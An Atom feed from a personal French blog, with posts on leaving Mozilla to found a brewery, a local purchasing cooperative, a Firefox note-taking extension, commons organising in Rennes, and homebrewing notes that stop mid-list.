blog.notmyidea.org/feeds/alexis-metaireau.atom.xml
2019-07-02 22:54:50 +00:00

6906 lines
No EOL
621 KiB
XML
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Carnets Web - Alexis Métaireau</title><link href="https://blog.notmyidea.org/" rel="alternate"></link><link href="https://blog.notmyidea.org/feeds/alexis-metaireau.atom.xml" rel="self"></link><id>https://blog.notmyidea.org/</id><updated>2019-07-03T00:00:00+02:00</updated><entry><title>Ours</title><link href="https://blog.notmyidea.org/ours.html" rel="alternate"></link><published>2019-07-03T00:00:00+02:00</published><updated>2019-07-03T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2019-07-03:/ours.html</id><summary type="html">&lt;p&gt;J'ai de plus en plus de mal à garder mon calme dans les situations ou je
rencontres des humains qui ont des comportements que je trouve déplacés. Je me
demande à quel point le fait d'être maintenant un commerçant impacte ma
capacité relationelle générale.&lt;/p&gt;
&lt;p&gt;De manière plus large, est-ce normal …&lt;/p&gt;</summary><content type="html">&lt;p&gt;J'ai de plus en plus de mal à garder mon calme dans les situations ou je
rencontres des humains qui ont des comportements que je trouve déplacés. Je me
demande à quel point le fait d'être maintenant un commerçant impacte ma
capacité relationelle générale.&lt;/p&gt;
&lt;p&gt;De manière plus large, est-ce normal de tolérer des comportements qu'on estime
anormaux, voire immoraux ? Quand est-ce que la tolérance laisse place a de
l'acceptation de comportements problématiques ?&lt;/p&gt;
&lt;p&gt;Suis-je en train de devenir un ours ?&lt;/p&gt;</content></entry><entry><title>velotaf</title><link href="https://blog.notmyidea.org/velotaf.html" rel="alternate"></link><published>2019-06-27T00:00:00+02:00</published><updated>2019-06-27T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2019-06-27:/velotaf.html</id><summary type="html">&lt;p&gt;Depuis quelques semaines j'ai décidé d'utiliser le vélo pour aller au boulot. Pas forcement tous les jours, mais dès que les conditions le permettent je n'hésite pas. C'est un vrai plaisir de se déplacer en deux roues, en quasiment silence. Le trajet mets pas loin de 35mn et passe par …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Depuis quelques semaines j'ai décidé d'utiliser le vélo pour aller au boulot. Pas forcement tous les jours, mais dès que les conditions le permettent je n'hésite pas. C'est un vrai plaisir de se déplacer en deux roues, en quasiment silence. Le trajet mets pas loin de 35mn et passe par un parc sur la fin, c'est un vrai moment de relaxation, et qui me permet de faire une jonction entre ma vie personelle et le taf à la brasserie.&lt;/p&gt;</content></entry><entry><title>Un espace des communs Rennais ?</title><link href="https://blog.notmyidea.org/un-espace-des-communs-rennais.html" rel="alternate"></link><published>2019-06-26T00:00:00+02:00</published><updated>2019-06-26T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2019-06-26:/un-espace-des-communs-rennais.html</id><summary type="html">&lt;p&gt;&lt;em&gt;Ce document se veut surtout être quelques notes, et donc revêt un caractère « fouilli » paaaarfaitement assumé. Dailleurs, ce n'est que ce que j'ai bien voulu retenir. Voilà.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Je ressors d'une discussion avec quelques complices autour de deux idées :
1. Avoir un espace pour fédérer différentes personnes intéressées par le …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Ce document se veut surtout être quelques notes, et donc revêt un caractère « fouilli » paaaarfaitement assumé. Dailleurs, ce n'est que ce que j'ai bien voulu retenir. Voilà.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Je ressors d'une discussion avec quelques complices autour de deux idées :
1. Avoir un espace pour fédérer différentes personnes intéressées par le sujet des &lt;em&gt;communs&lt;/em&gt;;
2. Monter une structure Rennaise pour proposer de lhébergement de services web.&lt;/p&gt;
&lt;p&gt;Élaborons un peu...&lt;/p&gt;
&lt;h2&gt;1. Un espace pour fédérer&lt;/h2&gt;
&lt;p&gt;L'idée qui à été développée est celle d'avoir un espace (un ou des lieux, à différents moments dans l'année) pour que les rencontres entre les projets &lt;em&gt;du libre&lt;/em&gt; à Rennes puissent se dérouler. Le constat est qu'il existe différentes structures actuellement en place, mais que a) certaines personnes ne se retrouvent pas dans ces espaces et b) la porosité entre ces différents groupes est assez faible.&lt;/p&gt;
&lt;p&gt;Pour l'instant pas d'idée précise de ce qui pourrait être proposé, mais quelques pistes ont été évoquées. l'envie est de faire un document d'intention et de proposer à d'autres de rejoindre le collectif en création.&lt;/p&gt;
&lt;h3&gt;Fréquence&lt;/h3&gt;
&lt;p&gt;Deux pistes ont été évoquées:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Faire des rencontres suffisamment espacées les unes des autres&lt;/strong&gt;, pour que leur caractère « exceptionnel » soit une force. Si la fréquence des réunions est assez faible, alors l'incitation pour y prendre part est peut-être plus grande ?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ou au contraire, &lt;strong&gt;avoir des rencontres avec une fréquence assez forte&lt;/strong&gt;, pour qu'en cas d'incapacité à participer il n'y ait pas trop longtemps à attendre ?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Charte éthique&lt;/h3&gt;
&lt;p&gt;Le fait d'avoir un &lt;em&gt;code de conduite&lt;/em&gt; pour de tels évènements à été discuté, un des arguments évoqués étant le fait qu'un tel code n'est pas considéré nécessaire par certaines personnes, puisque les règles évoquées tiennent du bon sens.&lt;/p&gt;
&lt;p&gt;Il a été précisé que l'établissement de ce type de document a pour objectif de:
- Faire que des minorités et/ou oppressés se sentent protégés et considérés, et donc bienvenues à ce type d'évènements;
- En cas de situations considérées comme problématiques, des personnes référentes soient désignées pour aider à leur résolution&lt;/p&gt;
&lt;h3&gt;Gouvernance&lt;/h3&gt;
&lt;p&gt;Le sujet de la gouvernance à été également abordé : pour avoir de tels rendez-vous, peu importe leur nature, il faut que ceux-cis soient organisés. La possibilité d'avoir des organisat·rices·eurs· tournantes à été proposé.&lt;/p&gt;
&lt;p&gt;Pour :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cela permet de ne pas reposer uniquement sur quelques personnes;&lt;/li&gt;
&lt;li&gt;Faire des fiches explicatives qui permettent à tou·te·s de s'impliquer&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Contre : &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Quand tout le monde est responsable, personne ne l'est.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Peut-être que des solutions intermédiaires sont à trouver, en désignant d'une fois sur l'autre les personnes qui soccupent du prochain rendez-vous, par exemple.&lt;/p&gt;
&lt;h2&gt;2. Hébergement de services Web&lt;/h2&gt;
&lt;p&gt;On a discuté très rapidement de la possibilité de monter une structure pour faire de lhébergement de services web sur Rennes. Le sujet n'a pas été vraiment développé, mais la question de la relation entre avoir un espace pour fédérer (le 1.) et être un hébergeur de service (le 2.) a été rapidement abordé.&lt;/p&gt;
&lt;p&gt;Faut-il avoir une seule et même structure / groupe de personnes pour ces deux projets ? Dans le cas ou l'un s'arrête, entraînerait-il l'autre dans sa « chute » ? Est-il logique de lier les deux ?&lt;/p&gt;
&lt;h2&gt;Et donc ?&lt;/h2&gt;
&lt;p&gt;Et donc c'était bien chouette de prendre un peu le temps de remettre le nez dans la vie libriste Rennaise ! Ravi de voir une dynamique prendre forme, on verra bien ou ça mène :-)&lt;/p&gt;</content></entry><entry><title>De Mozilla à la Brasserie du Vieux Singe</title><link href="https://blog.notmyidea.org/de-mozilla-a-la-brasserie-du-vieux-singe.html" rel="alternate"></link><published>2018-05-27T00:00:00+02:00</published><updated>2018-05-27T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2018-05-27:/de-mozilla-a-la-brasserie-du-vieux-singe.html</id><summary type="html">&lt;p&gt;&lt;em&gt;Ce weekend avait lieu &lt;a href="https://sudweb.fr/2018/"&gt;SudWeb&lt;/a&gt; « la conférence Web surtout humaine », ou on m'a proposé de venir parler de ma reconversion professionnelle, ou comment un passionné de Logiciels Libres choisit de créer une petite brasserie artisanale.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Certaines parties de ce que je voulais transmettre sont passées à la trappe, alors que …&lt;/em&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Ce weekend avait lieu &lt;a href="https://sudweb.fr/2018/"&gt;SudWeb&lt;/a&gt; « la conférence Web surtout humaine », ou on m'a proposé de venir parler de ma reconversion professionnelle, ou comment un passionné de Logiciels Libres choisit de créer une petite brasserie artisanale.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Certaines parties de ce que je voulais transmettre sont passées à la trappe, alors que d'autres ont pris plus de place que prévu. J'avais donc envie de reprendre mes notes pour les transformer en billet de blog, question d'élaborer sur le sujet.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;J'ai toujours été motivé par mes passions. Quand j'ai commencé à travailler professionnellement, je me suis rendu compte que même si je faisais quasiment la même chose qu'auparavant, ça n'avait plus le même goût. J'étais maintenant &lt;em&gt;obligé&lt;/em&gt; de le faire, et je n'en tirais pas le même plaisir.&lt;/p&gt;
&lt;p&gt;Quand j'étais plus jeune au lycée j'écrivais des programmes en &lt;em&gt;Visual Basic&lt;/em&gt; que je partageais en ligne sur mon site en &lt;code&gt;.free.fr&lt;/code&gt;. Programmes que probablement personne n'a lu, mais l'intention était bel et bien celle de partager mes créations, et d'échanger à leur propos.&lt;/p&gt;
&lt;p&gt;Cette culture du partage — celle du logiciel libre — est celle qui m'anime.&lt;/p&gt;
&lt;p&gt;Quelques années plus tard, je découvre le langage de programmation Python, et avec lui toute une communauté, mue par ces mêmes valeurs de partage et d'amélioration de nos pratiques. Puis je rencontre le Logiciel Libre, avec l'écriture d'un programme (&lt;a href="https://getpelican.com"&gt;pelican&lt;/a&gt;) qui reste encore largement utilisé aujourd'hui. Autant dire que c'est une bonne claque que de voir des inconnus contribuer à un bout de code qu'eux aussi jugent utile.&lt;/p&gt;
&lt;p&gt;À la fin de mes études, alors que je reste passionné par le développement logiciel, je ne veux ni travailler pour l'industrie, ni pour la finance. Je songe même déjà à cette époque à changer de métier (avant même d'avoir commencé !). Coup de bol, une structure qui m'est chère cherche des développeurs Python: Mozilla. Sans trop y croire, je passe une série d'entretiens qui se déroulent bien (!) et je commence quelques mois plus tard à travailler pour cette organisation incroyable, porteuse d'espoir et de toute une symbolique pour moi.&lt;/p&gt;
&lt;p&gt;Je bosse sur du Logiciel Libre, en Python, en télétravail parfois, avec une bonne paie, sans parler du côté prestigieux. Grisant.&lt;/p&gt;
&lt;p&gt;Mais au fur et à mesure je découvre l'envers du décors: une méritocratie ancrée et assumée, une hiérarchie de plus en plus importante, menant à une lourdeur administrative assez présente. À ajouter à la barrière de la langue, et aux différences culturelles. Finalement tout n'est pas rose ici.&lt;/p&gt;
&lt;p&gt;Je décide alors de (je pense) faire un de mes meilleurs choix de vie à ce jour: passer aux 4/5èmes. Je récupère tous mes vendredis. Des weekends de 3 jours, toutes les semaines. Un espace précieux pour me reposer, et pour rêver un peu.&lt;/p&gt;
&lt;p&gt;C'est à ce moment que Fred, un ami de longue date, en revenant du Québec (ou les brasseries sont légion), me propose de faire de la bière avec lui. Moi qui ne savais même pas qu'il était &lt;em&gt;possible&lt;/em&gt; de faire de la bière. On tente donc l'expérience, et nos premières expériences sont des journées bien &lt;em&gt;funky&lt;/em&gt;, à faire toutes les erreurs possibles.&lt;/p&gt;
&lt;p&gt;Peu à peu, on découvre un nouveau monde: celui des brasseurs amateurs. De nouvelles compétences sont nécessaires, de la physique à la biochimie. On se met à rencontrer des professionnels, des passionnés, à échanger sur les forums. On se forme, petit à petit. Tout comme il y a la communauté des gens qui font du Python, il y a la communauté des gens qui font de la bière. Pas encore autant fédérés, ça semble balbutiant alors mais la passion elle est bien présente.&lt;/p&gt;
&lt;p&gt;Tout comme le monde du Logiciel Libre est constitué autour d'un ennemi commun (les GAFA), le monde de la bière artisanale à la sien: les brasseries industrielles, qui uniformisent les goûts et les processus.&lt;/p&gt;
&lt;p&gt;Je continue en parallèle mon travail chez Mozilla, pendant 4 années. Et puis un jour, une annonce d'arrêt d'un projet sur lequel je travaillais me fait réaliser que cette situation m'épuise. La fameuse goutte de trop.&lt;/p&gt;
&lt;p&gt;Je décide alors de partir, de faire une pause, sans trop savoir ce que l'avenir me réserve. Une petite période de blanc de deux mois. Le regard des autres est parfois culpabilisant. Mes parents me demandent si « je ne veux pas attendre encore un peu ». La transition me fait peur, mais je choisis quand même de troquer mon confort matériel pour de la cohérence.&lt;/p&gt;
&lt;p&gt;Petit à petit, l'idée de monter ce qui est maintenant devenu &lt;a href="https://www.vieuxsinge.com"&gt;La Brasserie du Vieux Singe&lt;/a&gt; se pose en évidence. Mais monter une brasserie ce n'est pas uniquement faire de la bière: c'est se mettre d'accord sur des valeurs, trouver comment les défendre, monter un projet pour, et tenir le cap.&lt;/p&gt;
&lt;p&gt;Quelques mois après mon départ, on se retrouve donc à parler de ces valeurs de partage, de documentation, de goût. De gouvernance et de collaboration aussi.
Dans nos pratiques courantes, on décide d'intégrer du temps pour documenter la vie de la brasserie.&lt;/p&gt;
&lt;p&gt;À titre d'exemple, nos étiquettes contiennent l'ensemble des ingrédients que l'on utilise de la manière la plus détaillée possible. On travaille aussi sur un projet de laveuse de fûts, qui sera publié sous licence libre, avec l'idée de pouvoir, petit à petit, constituer un ensemble d'outils utiles à tous les brasseurs, et peut être même réussir à favoriser les échanges entre toutes ces personnes.&lt;/p&gt;
&lt;p&gt;Nous sommes deux brasseurs, deux chefs d'entreprise, mais aussi deux développeurs. Nos compétences de développeurs nous sont utiles quotidiennement: pour notre laveuse de fûts, pour nos créations de recettes (j'ai découvert la puissance des tableurs !), pour notre site de préventes, notre site Web, nos outils du quotidien. On se rend compte qu'il s'agit de compétences précieuses.&lt;/p&gt;
&lt;p&gt;Mais monter une entreprise, c'est aussi assumer une partie administrative. Vous vous rappelez cette histoire de réactions face aux activités subordonnées ? Et bien quand je fais mes déclarations aux douanes, ce n'est pas de gaîté de cœur. Je sais par contre pourquoi je le fais: ce sont les règles du jeu. Des obligations, mais peut-être moins de coercition. J'y trouve plus de sens.&lt;/p&gt;
&lt;p&gt;Et, si je n'avais pas réduit mon temps de travail, j'aurais peut-être loupé la découverte de ce nouveau monde, celui qui me passionne aujourd'hui.&lt;/p&gt;
&lt;p&gt;Alors je vous invite à vous poser la question — indispensable — de vos valeurs: qu'est-ce que vous souhaitez faire ? Qu'est-ce qui vous anime ? Et peut-être à aménager du temps pour explorer vos envies. &lt;/p&gt;</content></entry><entry><title>Groupement d'achats &amp; partage d'expérience</title><link href="https://blog.notmyidea.org/groupement-dachats-partage-dexperience.html" rel="alternate"></link><published>2018-03-03T00:00:00+01:00</published><updated>2018-03-03T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2018-03-03:/groupement-dachats-partage-dexperience.html</id><summary type="html">&lt;p&gt;Il y a quelques années, on s'est motivé entre copains copines pour créer un groupement d'achat.&lt;/p&gt;
&lt;p&gt;L'idée est simple:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;commander en gros, pour faire baisser les prix&lt;/li&gt;
&lt;li&gt;se passer d'intermédiaires et favoriser les circuits courts&lt;/li&gt;
&lt;li&gt;aller à la rencontre des producteurs locaux et échanger&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Notre groupement dessert actuellement 18 foyers …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Il y a quelques années, on s'est motivé entre copains copines pour créer un groupement d'achat.&lt;/p&gt;
&lt;p&gt;L'idée est simple:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;commander en gros, pour faire baisser les prix&lt;/li&gt;
&lt;li&gt;se passer d'intermédiaires et favoriser les circuits courts&lt;/li&gt;
&lt;li&gt;aller à la rencontre des producteurs locaux et échanger&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Notre groupement dessert actuellement 18 foyers et une 60aine de personnes.&lt;/p&gt;
&lt;p&gt;Au fur et à mesure de la vie du groupement, on a développé quelques outils pour se simplifier la vie. Voici un retour d'expérience et quelques astuces / outils, au cas où l'envie vous prenne à vous aussi :)&lt;/p&gt;
&lt;h1&gt;Organisation&lt;/h1&gt;
&lt;p&gt;On organise environs trois ou quatre distributions par an. Le &lt;em&gt;modus operandi&lt;/em&gt; est le suivant:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;chaque product·eur·rice à un·e référent·e, qui s'occupe de faire le lien;&lt;/li&gt;
&lt;li&gt;une personne est désignée pour coordonner la distribution;&lt;/li&gt;
&lt;li&gt;4 semaines avant la distribution, les référent·e·s mettent à jour les prix / produits dans le tableau de commandes;·e·&lt;/li&gt;
&lt;li&gt;3 semaines avant la distribution, les commandes sont ouvertes;&lt;/li&gt;
&lt;li&gt;2 semaines avant la distribution, les commandes sont closes;&lt;/li&gt;
&lt;li&gt;Les référent·e·s ont ensuite deux semaines pour récupérer les commandes pour la distribution&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Quels produits ?&lt;/h1&gt;
&lt;p&gt;On essaye d'avoir uniquement des produits qui se conservent (on a également quelques autres produits plus frais, mais avec d'autres modalités).&lt;/p&gt;
&lt;p&gt;Entre autres: bières, légumes secs, conserves, jus, miel, pâtes, semoule, café, vinaigres, pommes de terre, oignons, huiles, farines.&lt;/p&gt;
&lt;p&gt;On essaye de faire du local puis du bio au plus proche plutôt que de trouver nécessairement les prix les plus bas. C'est une discussion qui revient assez
souvent, et donc un point à évoquer lors de la création pour avoir une posture
claire sur le sujet (tout le monde n'est pas animé par la même éthique !).&lt;/p&gt;
&lt;h1&gt;Paiements&lt;/h1&gt;
&lt;p&gt;Pour les paiements, on utilise autant que possible des chèques. Chaque référent·e paye la·le product·rice·eur en son nom, et lui demande d'attendre la date de la distribution pour l'encaissement. La plupart des producteurs acceptent d'être payés sous quinzaine.&lt;/p&gt;
&lt;p&gt;Le jour de la distribution, tout le monde apporte son chéquier. Nous avons mis
en place une moulinette qui s'occupe de faire la répartition des chèques automatiquement, chaque membre se retrouve à faire en moyenne un ou deux chèques.&lt;/p&gt;
&lt;p&gt;Chaque référent·e est ainsi remboursé·e de la somme avancée, et chaque
membre du groupement d'achat paye ce qu'il doit payer. Nous n'avons
volontairement pas de structure juridique et pas de compte en banque. Les
paiements s'effectuent directement entre nous.&lt;/p&gt;
&lt;h1&gt;Transports&lt;/h1&gt;
&lt;p&gt;Chaque référent·e commande les produits, puis ensuite s'occupe de les rapatrier. À Rennes, on a la chance d'avoir pas mal de producteurs aux alentours, donc c'est assez simple.&lt;/p&gt;
&lt;p&gt;Le mieux est de ramener les produits juste un peu avant la distribution au lieu de distribution, ça permet d'éviter de les stocker trop longtemps, et d'éviter aux producteurs d'attendre trop longtemps avant d'encaisser les chèques.&lt;/p&gt;
&lt;p&gt;Pour les grosses commandes, les voitures se remplissent bien, mais ma petite Clio suffit, que ce soit dit !&lt;/p&gt;
&lt;h1&gt;La distribution&lt;/h1&gt;
&lt;p&gt;Un peu en amont de la distribution, il faut organiser l'espace. Des tas par membre sont constitués pour faciliter les choses le jour de la distribution.&lt;/p&gt;
&lt;p&gt;Le jour même, on se retrouve, on charge ses marchandises, on échange quelques chèques et on papote ! On en profite pour:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;discuter de la date de la prochaine distribution;&lt;/li&gt;
&lt;li&gt;trouver une nouvelle personne pour la coordonner;&lt;/li&gt;
&lt;li&gt;discuter de nouveaux produits;&lt;/li&gt;
&lt;li&gt;refaire le monde;&lt;/li&gt;
&lt;li&gt;changer de référents pour les producteurs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et c'est reparti pour un tour ;)&lt;/p&gt;
&lt;h1&gt;Nos outils&lt;/h1&gt;
&lt;p&gt;On utilise un tableur en ligne pour partager les prix et prendre les commandes. On a essayé d'utiliser &lt;em&gt;ethercalc&lt;/em&gt; au début mais ça ne fonctionnait pas pour nous à l'époque (trop de petits bugs). On a donc préféré utiliser Google docs (ouch).&lt;/p&gt;
&lt;p&gt;Il est d'ailleurs possible d'y intégrer de nouvelles fonctionnalités assez facilement, du coup Fred et Rémy ont planché sur un moyen d'automatiser la répartition des chèques (qu'on faisait dans un premier temps à la main - assez péniblement).&lt;/p&gt;
&lt;p&gt;Le système n'est pas parfait mais fonctionne quand même assez bien !&lt;/p&gt;
&lt;p&gt;Quelques ressources, donc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/almet/8c77fafc9e487c02ded852ec4a91ae16"&gt;le code pour faire la répartition des chèques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.google.com/spreadsheets/d/1bnPRSvf2Q2RDxKerWnEqUyJjuCFePnVMq6pWo8LeA_k/edit?usp=sharing"&gt;une version « à remplir » de notre tableau de commandes&lt;/a&gt; (le mieux est d'en faire une copie !).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bon groupement d'achat ;)&lt;/p&gt;</content></entry><entry><title>Webnotes</title><link href="https://blog.notmyidea.org/webnotes.html" rel="alternate"></link><published>2018-02-25T00:00:00+01:00</published><updated>2018-02-25T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2018-02-25:/webnotes.html</id><summary type="html">&lt;p&gt;Quand je navigue en ligne, j'aime bien prendre des notes sur ce que je lis. C'est utile pour les retrouver plus tard. Il existe quelques outils pour ce genre de cas, mais j'ai vraiment eu du mal à trouver un outil qui faisais ce que je voulais, de la manière …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Quand je navigue en ligne, j'aime bien prendre des notes sur ce que je lis. C'est utile pour les retrouver plus tard. Il existe quelques outils pour ce genre de cas, mais j'ai vraiment eu du mal à trouver un outil qui faisais ce que je voulais, de la manière que je voulais, c'est à dire:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;enregistrer une sélection de texte ainsi que son contexte: heure, site web.&lt;/li&gt;
&lt;li&gt;fonctionner sur Firefox;&lt;/li&gt;
&lt;li&gt;stocker mes notes à un endroit que je contrôle (ce sont mes données, après tout !)&lt;/li&gt;
&lt;li&gt;rester en dehors de mon chemin: je suis en train de lire, pas en train d'organiser mes notes.&lt;/li&gt;
&lt;li&gt;automatiquement partager les notes sur une page web.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J'ai donc pris un peu de temps pour fabriquer mon outil de prises de notes, que j'ai baptisé « Webnotes ». C'est &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/wwebnotes/"&gt;une extension Firefox&lt;/a&gt;, qui se configure assez simplement, et qui stocke les données dans une instance de &lt;a href="http://kinto-storage.org/"&gt;Kinto&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://github.com/almet/webnotes/blob/master/webnotes.gif?raw=true" /&gt;&lt;/p&gt;
&lt;p&gt;C'est aussi simple que sélectionner du texte, faire « clic droit » puis « save as webnote », entrer un tag et le tour est joué !&lt;/p&gt;
&lt;p&gt;Mes notes sont disponibles &lt;a href="https://notes.notmyidea.org"&gt;sur notes.notmyidea.org&lt;/a&gt;, et voici &lt;a href="https://github.com/almet/webnotes"&gt;le lien vers les sources&lt;/a&gt;, si ça vous intéresse de regarder comment ça fonctionne !&lt;/p&gt;</content></entry><entry><title>Faire moins</title><link href="https://blog.notmyidea.org/faire-moins.html" rel="alternate"></link><published>2018-02-19T00:00:00+01:00</published><updated>2018-02-19T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2018-02-19:/faire-moins.html</id><summary type="html">&lt;p&gt;L'an dernier, j'ai décidé de faire moins de choses, ou plus exactement d'arrêter de faire de nouvelles choses. Choix assez difficile: j'aime découvrir de nouvelles pratiques, échanger sur des sujets que je connais pas, et surtout je crois que découvrir de nouvelles pratiques (sans nécessairement creuser un sujet en particulier …&lt;/p&gt;</summary><content type="html">&lt;p&gt;L'an dernier, j'ai décidé de faire moins de choses, ou plus exactement d'arrêter de faire de nouvelles choses. Choix assez difficile: j'aime découvrir de nouvelles pratiques, échanger sur des sujets que je connais pas, et surtout je crois que découvrir de nouvelles pratiques (sans nécessairement creuser un sujet en particulier) est l'occasion de contribuer à éviter notre société d'experts.&lt;/p&gt;
&lt;p&gt;Le hic, c'est que trop, c'est trop. J'ai donc décidé d'arrêter, tout simplement, de faire de nouvelles choses, et puis avec le temps j'ai même arreté de faire des choses que j'avais commencé à faire (par exemple de l'escalade), me libérant du temps.&lt;/p&gt;
&lt;p&gt;Enfin ! Je retrouve ce précieux temps. Je retrouve ces moments d'ennui. Oui, je comprends bien que ça puisse parraître fou de voir quelqu'un se réjouir de son ennui… Cet ennui me permet de creuser de nouvelles idées, de reprendre ce bouquin qu'on avait laissé tomber sans trop de raison.&lt;/p&gt;
&lt;p&gt;Et surtout, c'est se retrouver à contrôler son engagement.&lt;/p&gt;</content></entry><entry><title>NEIPA #3</title><link href="https://blog.notmyidea.org/neipa-3.html" rel="alternate"></link><published>2017-12-29T00:00:00+01:00</published><updated>2017-12-29T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2017-12-29:/neipa-3.html</id><summary type="html">&lt;p&gt;&lt;em&gt;Voici quelques prises durant un de mes brassins. L'idée est de pouvoir les relire et m'améliorer au fur et à mesure.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Test autour d'une New England Pale Ale; Cette fois ci avec du Mosaic et du Citra, durant une collab' avec Heiko.&lt;/p&gt;
&lt;h1&gt;Objectifs:&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Brasser une nouvelle NEIPA en appliquant les …&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Voici quelques prises durant un de mes brassins. L'idée est de pouvoir les relire et m'améliorer au fur et à mesure.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Test autour d'une New England Pale Ale; Cette fois ci avec du Mosaic et du Citra, durant une collab' avec Heiko.&lt;/p&gt;
&lt;h1&gt;Objectifs:&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Brasser une nouvelle NEIPA en appliquant les trouvailles des deux premières versions;&lt;/li&gt;
&lt;li&gt;Hop stand de 40mn;&lt;/li&gt;
&lt;li&gt;Contrôle du pH à 5.2;&lt;/li&gt;
&lt;li&gt;Refroidissement dans l'évier;&lt;/li&gt;
&lt;li&gt;Ajouter plus d'avoine;&lt;/li&gt;
&lt;li&gt;Faire un mash out;&lt;/li&gt;
&lt;li&gt;Augmenter un peu la quantité de grain.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Recette:&lt;/h1&gt;
&lt;p&gt;DI: 1055 (atteint)
pH: 5.2 (5.4 mesuré)&lt;/p&gt;
&lt;h2&gt;Grains:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;75% de Pale Ale&lt;/li&gt;
&lt;li&gt;12.5% de blé&lt;/li&gt;
&lt;li&gt;12.5% flocons d'avoine&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Houblons:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2g/L Mosaic (Hop Stand 40mn)&lt;/li&gt;
&lt;li&gt;2g/L Citra (Hop Stand 40mn)&lt;/li&gt;
&lt;li&gt;4g/L Citra à cru (en deux fois)&lt;/li&gt;
&lt;li&gt;4g/L Mosaic à cru (en deux fois)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Eau:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Utilisation d'eau de source, pour pouvoir corriger les sulfates / chlorures.&lt;/li&gt;
&lt;li&gt;200 Chlorures pour 100 Sulfates.&lt;/li&gt;
&lt;li&gt;
&lt;h2&gt;Gypse: 1g&lt;/h2&gt;
&lt;dl&gt;
&lt;dd&gt;1.8g (=4.05ml)&lt;/dd&gt;
&lt;/dl&gt;
&lt;/li&gt;
&lt;li&gt;Acide lactique: 0.4ml&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Profil d'empatage:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;68°C durant 40mn;&lt;/li&gt;
&lt;li&gt;75°C durant 10mn (mash-out)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Levure&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;GigaYeast «Vermont Ale». Le nombre de cellules n'est pas indiqué sur le packaging, ni en ligne.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Déroulé&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;12h50: empâtage à 68°C&lt;/li&gt;
&lt;li&gt;pH = 5.5. Ajout de 0.2 d'acide.&lt;/li&gt;
&lt;li&gt;Pas mal de mesures du pH:&lt;ul&gt;
&lt;li&gt;5.2@23°C (13h05)&lt;/li&gt;
&lt;li&gt;5.4@18°C (13h05)&lt;/li&gt;
&lt;li&gt;5.2@27°C (13h15)&lt;/li&gt;
&lt;li&gt;5.3@19°C (13h20)&lt;/li&gt;
&lt;li&gt;5.4@25°C (13h30)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
